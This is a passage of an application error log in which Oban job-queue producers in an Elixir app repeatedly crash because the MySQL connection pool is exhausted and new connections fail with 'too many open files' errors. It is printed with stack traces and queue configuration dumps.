State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:58:10.239667Z], limit: 3, uuid: "4cd94402-f34b-437b-a64a-66a1b947f2ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:10.239673Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.90340>, refresh_timer: #Reference<0.2525715032.1068498948.90321>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:58:10.239432Z], limit: 50, uuid: "465c329d-5d95-40a6-a6e0-532fe577f73f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:10.239439Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.90343>, refresh_timer: #Reference<0.2525715032.1077673987.62309>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:58:10.239829Z], limit: 20, uuid: "1b6aa919-1e48-4a65-8e40-9d8b8089bf47", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:10.239835Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62349>, refresh_timer: #Reference<0.2525715032.1077673987.62326>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:23.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:25.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:29.518000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:32.507000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:33.983000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:58:22.240714Z], limit: 50, uuid: "24511b12-950f-4a47-9913-fb5f23cb4600", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:22.240719Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76406>, refresh_timer: #Reference<0.2525715032.1077673987.62417>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:58:22.240863Z], limit: 20, uuid: "57343fea-cb13-421d-8eab-fe4dd9a26d33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:22.240868Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62430>, refresh_timer: #Reference<0.2525715032.1077673987.62424>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:58:22.240893Z], limit: 5, uuid: "cc95d40e-3b4b-4a4f-b135-0578ea87f087", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:22.240900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76403>, refresh_timer: #Reference<0.2525715032.1099431938.76377>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:58:22.238943Z], limit: 10, uuid: "cf68f234-2b9e-4520-a2bf-8d559151a856", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:22.238950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76404>, refresh_timer: #Reference<0.2525715032.1077673987.62383>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:34.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:58:22.240290Z], limit: 3, uuid: "12e203b3-705f-4550-af82-7afb872cb31a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:22.240296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62431>, refresh_timer: #Reference<0.2525715032.1077673987.62398>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:58:22.240384Z], limit: 5, uuid: "8cafe11a-12c3-4788-927a-b17291ec38b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:22.240475Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76405>, refresh_timer: #Reference<0.2525715032.1077673987.62401>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:34.297000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:34.516000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:35.368000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:38.322000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:38.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:42.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

